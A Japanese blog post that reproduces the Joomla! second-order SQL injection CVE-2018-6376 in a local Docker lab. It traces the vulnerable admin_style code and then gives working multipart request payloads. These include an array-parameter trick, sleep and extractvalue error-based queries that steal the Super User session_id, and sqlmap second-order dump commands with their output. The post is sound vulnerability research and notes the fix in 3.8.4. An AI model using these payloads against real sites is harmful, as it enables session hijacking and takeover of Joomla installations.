こないだWordPressについて調べてみたので、勢いでJoomla!の脆弱性についても調べてみました。 Joomla!も使ったことがなく、今回検証で初めて触ったので何か間違いがあれば教えてもらいたいです。
概要
Joomla!の3.7.0以上、3.8.3以下のバージョンにSecond Order SQL Injection(CVE-2018-6376)が見つかったとのことです。 SQL Injectionなので、データベース上の任意のデータが読み出し可能です。 ただし攻撃条件として、攻撃者はManager権限でJoomla!に認証される必要があります。 Managerはデフォルトで存在するユーザグループで、Super UsersやAdministratorよりは弱い権限です。 Super Usersのsessionなどを奪うことで権限昇格する例が発見者により紹介されています。
修正済みのバージョン(3.8.4)がリリースされているので、アップデートすれば対応できます。
参考
以下が発見者によるサイトです。
Joomla! 3.8.3: Privilege Escalation via SQL Injection
そして以下はさらに詳しく解説したページになります。発見者のサイトだけだと、どうやって攻撃まで繋げるか細かいところが分からなかったのですが、こちらのサイトの解説で理解できました。
Second Order SQL Injectionとは?
PortSwiggerのサイトが分かりやすかったです。
簡単に言うと、ユーザからのデータをアプリケーションがDBなどに一度保存し、あとで利用される時に発動するSQL Injectionです。 一度目はエスケープして保存したけど、そのデータを別の箇所で使う時にエスケープをし忘れてSQLの条件に入れてしまった、などがあるかと思います。 自分もあんまり詳しくなかったですが、昔からあるみたいですね。
http://takagi-hiromitsu.jp/diary/20051231.html#p05
詳細
TL;DR
- Joomla!の3.7.0以上、3.8.3以下に影響あり
- 攻撃者はManager権限以上を持っている必要がある
- プロフィール更新ページの
admin_style
が脆弱なパラメータ - 保存時は安全にDBに保存される
- 別ページで
admin_style
の値を用いる時に発動する - データは表示されないがエラーメッセージは表示される
検証
自分でやってみないと理解が深まらないかと思いますので、試してみます。 docker-compose.ymlを用意したので、まずこれで簡単にJoomla!を起動します。 3.8.3以下で脆弱なバージョンなら何でも良いのですが、今回は3.8.2のDockerイメージがあったのでそれを使っています。
http://localhost:10080 にアクセスするとJoomla!が起動しているかと思いますので、インストールの設定を進めていきます。 ユーザ名は何でも良いのですが、今回は分かりやすく"super"というユーザ名にしました(Super Users権限になるため)。
Docker ComposeでMySQLのホスト名はdbにしたので、以下のように設定します。
- データベース:MySQLi
- ホスト名:db
- ユーザ名:root
- パスワード:joomla
- データベース名:joomla
あとは指示に従ってインストールを進めていき、インストールが終わったら
「Users」→「Manager」→「Add New User」
から新しくユーザを作成します。今回は"manager"というユーザ名で、Manager権限を付与して作成しました。 なので以下のようになります。
今回の検証では、Manager権限を持つ"manager"からSuper Users権限を持つ"super"へ権限昇格してみることにします。 "super"でログインしたままにしつつ、別のブラウザなどで"manager"でログインして下さい。
そして「Edit Account」を開きます。 このプロフィール更新ページに攻撃するべきパラメータがあります。 「Save」ボタンを押すと以下のようなPOSTリクエストが飛びます(長いのであちこち省略してます)。
POST /administrator/index.php?option=com_admin&view=profile&layout=edit&id=180 HTTP/1.1 Host: localhost:10080 Content-Length: 1970 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ ...(省略)... ------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ Content-Disposition: form-data; name="jform[name]" manager ------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ Content-Disposition: form-data; name="jform[username]" manager ...(省略)... ------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ Content-Disposition: form-data; name="jform[params][admin_style]" ------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ Content-Disposition: form-data; name="jform[params][admin_language]" ...(省略)... Content-Disposition: form-data; name="task" profile.apply ------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ ...(省略)...
この jform[params][admin_style]
が脆弱なパラメータになります。
まず、 admin_style
が保存されるまでのコードを追ってみましょう。
上の解説記事によると、com_adminのControllerの save
が呼び出されるようです。
/** * Overrides parent save method to check the submitted passwords match. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return boolean True if successful, false otherwise. * * @since 3.2 */ public function save($key = null, $urlVar = null) { $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . JFactory::getUser()->id, false)); $return = parent::save(); if ($this->getTask() != 'apply') { // Redirect to the main page. $this->setRedirect(JRoute::_('index.php', false)); } return $return; }
joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub
実際にこの箇所で JFactory::getUser()
の戻り値の中身を見てみたところuserに関する情報が格納されていました。
そして次の parent::save()
で実際のDBへの保存が行われそうです。
親クラスはJControllerFormになりますが、定義が見つかりませんでした。 色々探してみたところ、以下の記述が見つかりました。
JLoader::registerAlias('JControllerForm', '\\Joomla\\CMS\\MVC\\Controller\\FormController', '5.0');
joomla-cms/classmap.php at 6f6a89352bf0c774481cf05fdaec47242e905bd2 · joomla/joomla-cms · GitHub
エイリアスとして登録できるんですかね...?FormControllerの save
は以下にありました。
これまたコードが大きくてここで合ってるのか正直自信ないで、誰かJoomla!のプロが教えてくれることを期待してます。
FormControllerの save
では、以下で $model
を取り出していました。
public function save($key = null, $urlVar = null) { // Check for request forgeries. \JSession::checkToken() or jexit(\JText::_('JINVALID_TOKEN')); $app = \JFactory::getApplication(); $model = $this->getModel(); $table = $model->getTable();
そしてその後、POSTのデータを getForm
で取り出しています。
// Validate the posted data. // Sometimes the form needs some posted data, such as for plugins and modules. $form = $model->getForm($data, false);
あとは validate
でバリデーションしたり何やかんやしながら、最終的に $model
の save
を呼んでいます。
ここでDBへの保存を行っているんじゃないかなーと思います。多分。。
// Attempt to save the data.
if (!$model->save($validData))
この $model
の save
で、com_adminの AdminModelProfile
の save
が多分呼ばれます。
多分しか言ってない。。すみません。。
/** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 1.6 */ public function save($data) {
joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub
先程 $model
の getForm
が呼ばれていると言いましたが、それは恐らくここ。最初に見たControllerと同じで、com_adminの下にあるModelです。
/** * Method to get the record form. * * @param array $data An optional array of data for the form to interogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return JForm A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_admin.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData));
joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub
ということでPOSTのデータが取り出されて、先程の save
に渡されます。
public function save($data) { $user = JFactory::getUser(); unset($data['id']); unset($data['groups']); unset($data['sendEmail']); unset($data['block']); $isUsernameCompliant = $this->getState('user.username.compliant'); if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant) { unset($data['username']); } // Bind the data. if (!$user->bind($data)) { $this->setError($user->getError()); return false; } $user->groups = null; // Store the data. if (!$user->save())
joomla-cms/profile.php at f4e07d895496acea9be233e78c6bffb50e5fc429 · joomla/joomla-cms · GitHub
そして元々保存されていた $user
にPOSTで渡ってきた $data
をバインドして save
を呼んでDBに保存します。
この $user
は共通で定義されているモデルで、ちらっと見た感じではSQL Injectionは問題なさそうでした。
ということで長いことダラダラと書きましたが、「Save」を押した時のリクエストではSQL Injectionは起きなさそうです。 シングルクォートを入れてもエラーなくDBに保存されました。
admin_style
は users
テーブルに params
というカラムで保存されます。初期設定でランダムなprefixを付けている場合、以下のように qpqau_users
などになっています。
mysql> select params from qpqau_users; +---------------------------------------------------------------------------------------------------+ | params | +---------------------------------------------------------------------------------------------------+ | | | {"admin_style":"'foo","admin_language":"'foo","language":"","editor":"","helpsite":"","timezone":""} | +---------------------------------------------------------------------------------------------------+ 2 rows in set (0.00 sec)
これを見れば分かる通り、 'foo
は問題なく保存されています。
ではようやく本題です。 今までは単にユーザの入力を安全にDBの値を保存するだけなので実はどうでも良いです。 せっかくコード読んだからという理由で書いただけです。 SQL Injectionが発動する箇所が重要です。
上述した admin_style
というパラメータはプロフィール更新の「Backend Template Style」に該当します。
見た目を変えるためのパラメータのようです。
通常はドロップダウンから選び、数値が保存されます。
admin_style
が利用される場所を確認します。
function hathormessage_postinstall_condition() { ...(省略)... // Get the current user admin style $adminstyle = $user->getParam('admin_style', ''); if ($adminstyle != '') { $query = $db->getQuery(true) ->select('template') ->from($db->quoteName('#__template_styles')) ->where($db->quoteName('id') . ' = ' . $adminstyle[0]) ->where($db->quoteName('client_id') . ' = 1'); // Get the template name associated to the admin style $template = $db->setquery($query)->loadResult(); }
ここでは admin_style
の値を取り出し、 $adminstyle
に格納しています。
その後、SQLのWHEREに利用しています。
この際、特にエスケープなどはなく文字列連結で行われています。
では先程のPOSTリクエストを改ざんして AND sleep(5);–
を送ってみましょう。自分はBurp Suiteを使っていますが、プロキシツールの使い方は調べれば山ほど出てくると思います。
(抜粋) ------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ Content-Disposition: form-data; name="jform[params][admin_style]" AND sleep(5);–
正常に保存されたものの、エラーを見るとAだけになってしまっています。
これは上記のコードで $adminstyle[0]
となっており、インデックスが0のものだけが利用されているからです。
文字列が与えられれば1文字目が取り出されます。
では配列を与えればいいな、ということで以下のように与えてみます。
配列の最初の要素である test1
が表示されることを狙っています。
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ Content-Disposition: form-data; name="jform[params][admin_style]" ["test1", "test2", "test3"]
すると、これまた [
だけになっています。
JSONデコードなどしてくれればarrayになってくれたかもしれませんが、単に文字列として扱われてしまっています。
自分はこの辺りで困ったなーと思って真面目に考えず放置していたのですが、先程の解説記事に方法が書いてありました。
POSTのパラメータ名を jform[params][admin_style][0]
に変えるという方法です。
こうすればarrayとして扱われます。
再度送ってみます。
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ Content-Disposition: form-data; name="jform[params][admin_style][0]" AND sleep(5);--
エラーメッセージに AND sleep(5)
が表示されているこが分かります。
ということで成功しました。
arrayに変えてみるという方法は脆弱性でもたまにありますし、CTFでも以前出題されているのを見たことがあるので、すぐに思いつかないと駄目ですね。。
少し憂鬱になりました。
DBにも以下のようにarrayで保存されています。
mysql> select params from qpqau_users; +---------------------------------------------------------------------------------------------------------------+ | params | +---------------------------------------------------------------------------------------------------------------+ | | | {"admin_style":["AND sleep(5);--"],"admin_language":"","language":"","editor":"","helpsite":"","timezone":""} | +---------------------------------------------------------------------------------------------------------------+ 2 rows in set (0.00 sec)
今回はクエリの結果が画面に表示されたりはしませんが、エラーメッセージが表示されます。
なので extractvalue
を使って欲しいデータを出力します。
詳細は以下を参照して下さい。
session
テーブルに各ユーザの session_id
が格納されているので、"Super Users"の session_id
を狙います。
これはログイン中にのみレコードが存在するようなので、今回はシークレットウィンドウで"super"でログインしてから試しています。
extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))
こんな感じで session
テーブルから "super" ユーザのsession_id
をSELECTしています。
リクエストとしては以下です。
------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ Content-Disposition: form-data; name="jform[params][admin_style][0]" extractvalue(0x0a,concat(0x0a,(select session_id from qpqau_session where username='super')))
無事に "super" ユーザの session_id
が表示できました。
あとはこれを使えばSuper Users権限で好きに操作可能です。
発見者のページには以下のようにあったので、Super Users権限ならPHPの任意コードが実行可能になるようです。
By gaining full administrative privileges she can take over the Joomla! installation by executing arbitrary PHP code.
サラッと流しましたが、ここで一つ気になることがあるかと思います。
session
テーブルと言いましたが、実際は qpqau_session
テーブルです。
これはJoomla!のインストール時にランダムなprefixを付けるように設定したためです。
これは同じDBに複数のJoomla!をインストールしたい場合に有用なようです。
SQL Injectionがあった時のセキュリティ対策という記述も見かけたのですが、テーブル名のdumpは出来ることが多いので効果は薄めじゃないのかなーと思いました。
ということで、テーブル名を先に抜き出す必要があるな...などと考えていたのですが、どうやらその必要はないようです。 Joomla!のDBのprefixに関するドキュメントを見て下さい。
Database Table Prefix - Joomla! Documentation
Extension developers need to use the string #__ to represent the prefix. This will be replaced by the real prefix during runtime by Joomla.
prefixに #__
を使うと、置き換えてくれると書いてあるようです。
試しに以下のリクエストを投げてみたところ、普通に成功しました。
extractvalue(0x0a,concat(0x0a,(select session_id from #__session where username='super')))
どうやら、prefixがSQL Injection緩和策に役立つことはなさそうです。 ということで無事に攻撃成功したので終わりです。
ちなみにテーブル名の抜き出しも一応検証しておこうということで、以下のようなリクエストも試してみました。
extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() and table_name like '%session')))
#__session
が返ってきました。SQL Injectionが楽で便利。
sqlmap
これも解説記事に載っていたのですが、sqlmapはSecond Order SQL Injectionにも使えるようです。 今回の脆弱性を自動で見つけてくれるかは分からないのですが、ある程度パラメータなどの形を与えることでdumpなどは自動でやってくれるようです。 具体的には以下のような形。
extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))
この *
のところがsqlmapにとってマーカの役割を果たし、ここをsqlmapが勝手に変更してSQL Injectionしてくれます。
あとはPOSTのリクエスト全体をテキストファイルで保存して、 admin_style
のところを配列に変えて上記の値を入れてあげればsqlmapの準備は完了です。
(抜粋) ------WebKitFormBoundaryLOJGMBY9ZHQ2XdFZ Content-Disposition: form-data; name="jform[params][admin_style][0]" extractvalue(0x0a,concat(0x0a,(select @@version where 1=1 *)))
sqlmapはgit cloneして持ってくれば良いです。
-r
でテキストファイルを読み込んでくれるので、以下のコマンドを実行します。
$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --tables
バックエンドはMySQLと分かっており、DB名も joomla
と分かっているのでその辺りは時間短縮のために指定しています。
そして --second-order
で、Second Order SQL Injectionが実際に発動するURLを指定しています。
これは保存する場所と保存された値が利用される場所が違うためですね。
結果は以下のようになり、テーブル名が取得できています。
ついでにsession_idも抜き出しましょう。
--dump
を指定してみます。
$ python sqlmap.py -r request.txt --dbms MySQL --second-order "http://localhost:10080/administrator/index.php" -D joomla --dump
カラム名が取得できない、と言われています。
この理由は特に調べてないです。
#__session
は実際に存在しないテーブル名なので(実際は qpqau_session
)、そのあたりが影響しているのかもしれません。
カラム名が分からない場合、良くあるカラム名で取得を試みてくれるようです。 sqlmapが以下にカラム名の辞書を持っていました。
Joomla!のカラム名は既知で、今回はsession_idが欲しいだけなのでsession_idとだけ書いた辞書を保存しました。 defaultの辞書にもsession_idは含まれていたので、時間はかかりますが抜き出せます。
$ cat txt/joomla.txt # Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission session_id
先程同様に --dump
を付けて実行します。
customを指定して自分で作った辞書を指定します。
[10:16:04] [INFO] fetching columns for table '#__session' in database 'joomla' [10:16:04] [WARNING] unable to retrieve column names for table '#__session' in database 'joomla' do you want to use common column existence check? [y/N/q] y which common columns (wordlist) file do you want to use? [1] default '/Users/teppei/src/github.com/sqlmapproject/sqlmap/txt/common-columns.txt' (press Enter) [2] custom > 2 what's the custom common columns file location? > txt/joomla.txt [10:16:13] [INFO] checking column existence using items from 'txt/joomla.txt' [10:16:13] [INFO] adding words used on web page to the check list please enter number of threads? [Enter for 1 (current)] [10:16:15] [WARNING] running in a single-thread mode. This could take a while [10:16:15] [INFO] retrieved: session_id [10:17:16] [INFO] fetching entries for table '#__session' in database 'joomla' [10:17:16] [INFO] used SQL query returns 1 entries [10:17:18] [INFO] retrieved: 61dd526b2b88c9eed275c09bf3be87f1
session_idが抜き出せているのがわかります。 sqlmap使うと実際の抜き出しは楽で良いですね。
まとめ
Joomla!は触ったことないので勉強がてら触ってみました。 Second Order SQL Injectionは実際にあるのを見ると面白いですね。 POSTでarrayにする、というのはすぐに思いつかないとダメ。 原理として知っているのと、実際に検証するのでは身につく度合いが全然違うかなと思います。
あとJoomla!のコードを読む際に、ジャンプできないことが多くて読むのかなり大変でした(なので合っているか自信がない)。 PHPとかは皆さんどうやってコードリーディングしてるんでしょうか。 ctagsやPhpStormのデフォルト設定では全然無理でした。